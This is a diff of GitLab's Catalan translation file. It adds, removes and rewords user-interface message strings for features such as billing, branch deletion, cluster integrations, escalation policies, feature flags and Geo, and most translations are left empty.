msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "abr"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr "Projectes arxivats"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Color de fons"
msgid "Background Jobs"
msgstr "Tasques de fons"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Color de fons"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Branques actives"
msgid "Branches|All"
msgstr "Totes"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr "No hi ha cap branca per mostrar"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr "Confidencialitat"
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr "Crea un fitxer o directori nou"
msgid "Create new label"
msgstr "Crea una etiqueta nova"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Crea..."
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,15 +12118,15 @@ msgstr ""
msgid "Embed"
msgstr ""
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr ""
msgid "Enable"
msgstr "Activa"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr ""
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
